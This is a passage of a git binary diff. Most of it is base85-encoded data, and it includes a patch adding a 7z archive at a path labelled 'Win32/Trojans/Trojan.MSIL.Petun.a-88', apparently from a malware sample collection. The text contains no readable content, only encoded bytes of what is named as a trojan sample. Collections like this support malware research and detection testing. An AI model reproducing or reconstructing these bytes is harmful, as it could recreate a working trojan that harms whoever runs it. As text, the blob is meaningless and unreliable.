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 literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-88.7z b/Win32/Trojans/Trojan.MSIL.Petun.Generic/Trojan.MSIL.Petun.a-88.7z new file mode 100644 index 0000000000000000000000000000000000000000..8a93ff0530860c272888d24b6fce997b490c2f4e GIT binary patch literal 16926 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 